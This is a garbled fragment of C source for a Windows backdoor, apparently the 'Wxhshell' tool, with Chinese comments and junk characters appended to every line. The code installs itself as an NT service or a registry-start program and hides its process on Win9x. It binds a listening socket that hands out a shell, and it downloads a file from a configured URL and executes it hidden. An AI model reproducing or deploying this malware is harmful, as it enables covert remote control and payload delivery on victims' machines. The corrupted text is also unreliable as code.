DWORD AffinityMask; "%I<yUP]U
DWORD BasePriority; ]A&pXAM
ULONG UniqueProcessId; t7-6A
ULONG InheritedFromUniqueProcessId; lxsn(- j
} PROCESS_BASIC_INFORMATION; O\J{4EB@.
mV'-1
PROCNTQSIP NtQueryInformationProcess; NoOrQ m
j
D kBe-`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6%^A6U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P(%^J6[>
fK|P144
HANDLE hProcess; 2WK c;?
PROCESS_BASIC_INFORMATION pbi; +R8G*2
oNhCa>)/
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^>/~MCyM.
if(NULL == hInst ) return 0; XjXz#0nR
`O0bba=:=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SPT?Tt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W"Tj.oCUG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #=V\WQb
:u]QEZ@@
if (!NtQueryInformationProcess) return 0; ;#bDz}|\AN
6Vgxfic
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7v&>d,
if(!hProcess) return 0; @?JFqwq!
FLo`EE":O(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]T<tkvcI
%At.nlss
CloseHandle(hProcess); p%R+ c
+'/C(5y)0X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ <36vsk
if(hProcess==NULL) return 0; I@oSRB
\`0s %F:V}
HMODULE hMod; p`2Q6
char procName[255]; 11vAx9
unsigned long cbNeeded; EQtY b"_
y?V^S;}&]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oj/#wF+
I5@8=rFk
CloseHandle(hProcess); J#gG*(
KV)if'
if(strstr(procName,"services")) return 1; // 以服务启动 bU \T
I~GHx5Dk
return 0; // 注册表启动 l(9AwVoAR|
} ]D&U}n
Ft^X[5G4L
// 主模块 Jcy+(7lE)
int StartWxhshell(LPSTR lpCmdLine) p9 G{Q
{ 7|xu)zYB
SOCKET wsl; WMa`!Q
BOOL val=TRUE; Y P,>vzW
int port=0; 6e S~*
struct sockaddr_in door; K$l@0r ~k
j}O qWX>/
if(wscfg.ws_autoins) Install(); ]N2!
'c
D*>#]0X
port=atoi(lpCmdLine); ejia4(Cd
U[? f@.&
if(port<=0) port=wscfg.ws_port; $>7T s>8
)5NWUuH 5
WSADATA data; ik](k"1{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f/QwXO-U
i&%m^p
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; + 9I|Fm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qz89=#W
door.sin_family = AF_INET; S,EL=3},=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *07?U")
door.sin_port = htons(port); ^/VnRpU
+z[+kir
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "@^Q"RF
closesocket(wsl); +eO>> ~Z
return 1; O^PN{u
} 7GTDe'T
CpB,L
if(listen(wsl,2) == INVALID_SOCKET) { YG /@=Z.
closesocket(wsl); n.i8?:
return 1; .SLpgYFL{
} mo+!79&
Wxhshell(wsl); uq/Fapl
WSACleanup(); qyAnq%B}
l-P6B9e|\
return 0; cF_`QRtO
Dlpmm2
} dz^b(q
P,xIDj4d
// 以NT服务方式启动 ^?wR{q"8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sH>`eqY
{ puLgc$?
DWORD status = 0; Fv*QcB9K
DWORD specificError = 0xfffffff; _%er,Ed
S dN&%(ZE
serviceStatus.dwServiceType = SERVICE_WIN32; L[Ot$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6Xz d>5x
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8#\|Y~P
serviceStatus.dwWin32ExitCode = 0; 6i%6u=um3
serviceStatus.dwServiceSpecificExitCode = 0; /M'd$k"0z
serviceStatus.dwCheckPoint = 0; U{j4FlB
serviceStatus.dwWaitHint = 0; D.-G!0!
>28l9U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "h #/b}/
if (hServiceStatusHandle==0) return; w3 kkam"
A*vuS Qt(
status = GetLastError(); RO|8NC<oj
if (status!=NO_ERROR) <W>A }}q
{ ~ g-(
serviceStatus.dwCurrentState = SERVICE_STOPPED; g*(z.
serviceStatus.dwCheckPoint = 0; LuHRB}W
serviceStatus.dwWaitHint = 0; ;aj;(Z.p)
serviceStatus.dwWin32ExitCode = status; AloL+eN@
serviceStatus.dwServiceSpecificExitCode = specificError; ^_i)XdPU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b;{"@b,Y
return; }#-@5["-X
} `N&*+!O%
^{{a
v?h
serviceStatus.dwCurrentState = SERVICE_RUNNING;
q)f_!N
serviceStatus.dwCheckPoint = 0; Bz <I7h
serviceStatus.dwWaitHint = 0; )0/*j]Kf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nF_q{e7
} AorY#oq
L N
Fe7<y
// 处理NT服务事件,比如:启动、停止 j "'a5;Sy
VOID WINAPI NTServiceHandler(DWORD fdwControl) a5R.
\a<q
{ L ph0C^8
switch(fdwControl) <R+?>kz6
{ l
S3LX
case SERVICE_CONTROL_STOP: L"/?[B":
serviceStatus.dwWin32ExitCode = 0; QeC\(4?
serviceStatus.dwCurrentState = SERVICE_STOPPED; IC5QH<.$C
serviceStatus.dwCheckPoint = 0; x.Egl4b3
serviceStatus.dwWaitHint = 0; %)r:!R~R
{ J
<;xkT1x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <ch}]-_
} N$=9R
return; 39hep8+
case SERVICE_CONTROL_PAUSE: ^N[ Cip}8
serviceStatus.dwCurrentState = SERVICE_PAUSED; #HH[D;z
break; $,J}w%A
case SERVICE_CONTROL_CONTINUE: ,(a~vqNQW3
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]{q=9DczG(
break; qJ(uak
case SERVICE_CONTROL_INTERROGATE: K#N9N@W jR
break; Q(cLi:)X2
}; ap'La|9t>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rAAx]nQ@
} deArH5&!
9 " t;6
// 标准应用程序主函数 z@,(^~C_
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z$g'h1,zW
{ vanV |O
VBQAkl?(}4
// 获取操作系统版本 l"(PP3
OsIsNt=GetOsVer(); Gp
\-AwE
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Cu=Le^
k(pJVez
// 从命令行安装 1;1;-4k7I
if(strpbrk(lpCmdLine,"iI")) Install(); A$N%deb
l"A/6r!Dp
// 下载执行文件 >\^oCbqF}~
if(wscfg.ws_downexe) { Pj]^p{>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (3mL!1\
WinExec(wscfg.ws_filenam,SW_HIDE); Uz_p-J0
} 717THci3Y
Wz=&
0>Mm_
if(!OsIsNt) { D ka8[z7
// 如果时win9x,隐藏进程并且设置为注册表启动 N2U&TCc
HideProc(); \1gAWUt('
StartWxhshell(lpCmdLine); _hyqHvP
} -&`_bf%M
else E
b:iym0
if(StartFromService()) i+mU(/l2{
// 以服务方式启动 |9%~z0
StartServiceCtrlDispatcher(DispatchTable); c5$DHT@N"
else (J %4}Dm
// 普通方式启动 ]
1pIIX}
StartWxhshell(lpCmdLine); V\x'w*FP
1t^y?<)
return 0; ?k4Hk$V
}